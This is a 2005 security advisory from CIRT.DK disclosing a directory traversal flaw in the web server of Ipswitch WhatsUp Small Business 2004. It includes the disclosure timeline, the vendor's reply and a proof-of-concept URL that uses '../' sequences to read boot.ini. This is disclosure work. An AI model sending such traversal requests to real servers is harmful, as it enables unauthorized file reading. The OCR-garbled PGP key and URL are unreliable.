Security advisory

Ipswitch Whatsup small Business 2004 - Directory Traversal

Discovered

by Dennis Rand
advisory@cirt.dk
http://www.cirt.dk
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Introduction

Problem
The installation has been made on a Windows 2000 server running with the latest service pack 4 and all

current patches released.

The Ipswitch Whatsup small Business 2004 software vulnerability:
e Arbitrary file download through directory traversal




Timeline of public disclosure

e (01-08-2005 Vulnerability discovered

e 11-09-2005 Research completed

e 11-09-2005 Vendor notified - with a request for a competent person with security in
mind.

e 20-09-2005 Ennio Carboni(ecarboni@ipswitch.com) responds

e 20-09-2005 Vendor Receives detailed advisory

e 27-10-2005 Asked vendor for date of fix, no response

e (2-11-2005 Public release

Contact information

The following vulnerability were discovered by Dennis Rand at CIRT.DK
Questions regarding this issue should be directed to:

Dennis Rand
advisory@cirt.dk

Public PGP key

Version: PGP 8.0

mQG i BEAT2xcRBADMrO7uP0dJq1ZsXkLZLgEhZ58LL77gLbXOMNODRKAO+4MTZ0ZC
WMNkZsx3D5tboud4KJZCnaytOPFjymyYLsO0J6WauTFXOLA/L+sXTJICa7vSsWwlcQW
mO1uyO0+dj p3XumGHKWdWXvu5cXm7y+UjsF5i1 iQV8X9EGR18ApoCzA/mi/QCg/zz T
KwOX7XXGi1pLTpUBI/BvaRkD/2pZfANLSF7TcCT/rDcNexxr5Ci19xHTgIBFKUCQK
INNF/umLLM3PVyFk8z17Ra2d8rvPzhDd1 i +VGUOFIvV5CckRRhiu9A4s0E6zbTkv3T
Q+je/ynnpl360LswYG+iCELZqzOssRUTe4m9nSeJrbvtyFkW71/UrBkfursed6yD
vzVDA/4mrWEWgj ZkO4wEe fwg6FOXr2dChGmdoVXaDyKuQ89hp99THP AL jnorNQK
91 1bzyJGX+HaU/KyTKgQfeEEd4znTi9EEaDNDzQmbCntmmCq2PANOOOcgm41VNO i
CzEDvsweRxGdFFQA+aoNjqeACL1YmPNNTWeNeMNYN7kYD9sTJIrQgQOISVCBBZHZp
c29yeSA8YWR2aXNvcnlAY21lydC5kaz6JAFgEEBECABgFAKAT2xc 1 Cwk IBWMCAQoC
GQEFGWMAAAAACKQX3FRHNAOUC+KAQCFUD3uwuQmi ZjUNXmcKyzXVWFni7cAni 1S
FTmMTQMRF3r 1 s6kKmSXFnfrXG+uQINBEAT2xcQCAD2Q1e3CH8IF3KiutapQvMF6PIT
ETIPtvFuuUs41INoBplajFOmMPQFXzOATGYOOpIK33TGSGSTgMg7116RFUOANQ+PVZ
X9x2Uk89PY3bzpnhV5J3Zzf24rnRPxTx2vIPFRzBhznzJZv8V+bv9kV7HAar TW56N
oKVyOtQa8L9GAFgr5fS1/VhOSdvNILSAd5JEHNmszbDgNRROPFI i zZHHXbLY7288k j
WEPWpVSYjY67VYy4XTjTNP18F1dDox0YbN4z I Sy1Kv884bEpQBgR j XyEpwpylobE
Axn By 16ypUM2Zafq9AKUISCREMIPWakXUGFnHy9iUsiGSa6q6JewlXpMgs7AAIC
B/98T1FQkSzTgqoH80vigqJdTj3xZVe7xi+n4g4Ji3zuHW+jsgg6SPZOykCDSuzTCO
hJ6LLnwFaqGGu2As7RaNd335P8rH1bLwWQMmIo+Kohj3Ya7cg6gPkkiMSZAlpdca
cXVbxtKZ05dxcixdd02/H0c84/1mR8aj 10smFK14DXJ90wCglgh1i914rQLx5mei
KOXheewAT9eA13yPwbUR1EnormDdaz0OUSX315GBGgvHBO3Xy+muoL8Qzep4P1qgfL
Eg18tNXhOvQzBGdmhAjdSVSnSMBts4D5K20HC2YvbdPzWjVeyKg+yTY 14r3r1D+x
vSPng/cCcSX1bESzjOMCE6PDiQBMBBgRAgAMBQJAHISXBRSMAAAAAAOJEF930RZQ
DIHPdCgAN1jt7gbjHBTQLWTUZHEMpVONWYs+AJ4sIP10oGz+6/YQLbWrlzXEbmKxo
CA==

=4wBy



File description

MD5 software used

Filename:
Comments:

Company name:
Product name:
Product version:
File version:
MD5 checksum:

Danish Computer Incident Response Team

md5sum.exe

Modified from the version originally developed by Ulrich Drepper

<drepper@gnu.ai.mit.edu>

GMG Systems, Inc.

Forensic Acquisition Utilities
1.0.0.1026

2.0.1.1032
607be2b261c516a5c5469314445ab2f2

Ipswitch Whatsup small Business 2004

Installation files:
Filename:
MD5 checksum:

Other files:
Filename:
MD?5 checksum:

iwsh.exe
791bc2a0cf21f0f732d188ffebb7689c

nmservice.exe
3dala2e3a3e6b4d23c4936a48e5cd057

Page 5 of 7

02-11-2005



Danish Computer Incident Response Team

Technical details of the vulnerabilities

Arbitra

ry file download through directory traversal

When using the following "../../../", ".\.\.\.\.\" it is possible to traverse to the root of the file
system and view files.
This vulnerability are located in the web server on port 8022

PROOF OF CONCEPT:

http://192.

168.1.10:8022/../..1..1..1..1..1..1..1..]..]..]../[boot.ini

address

&) http:1192.168.1.10:80220 . { Lo d o d g L fboot.in

GDLJEIEvI TI| (| search ~ | @New! 5o 1195k

[boot loader] tineout=30 default=raalt 0 disk (D disked Oipartition( TV
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Danish Computer Incident Response Team

Corrective actions
NONE at the current time

Answer from IPSwitch

Its not that Ipswitch is not concerned - far from it. We take very seriously the concerns raised,
especially around security. However, when we polled lots of our "heavy" users, they thought
sticking with our current release schedule and fixing the vulnerability post was best.

Disclaimer

The information within this document may change without notice.
Use of this information constitutes acceptance for use in an "AS IS" condition.

There are NO warranties with regard to this information.

In no event shall | be liable for any consequences or damages,
Including direct, indirect, incidental, consequential, loss of business profits or special
damages, arising out of or in connection with the use or spread of this information.

Any use of this information lies within the user's responsibility. All registered and
unregistered trademarks represented in this document
Are the sole property of their respective owners.
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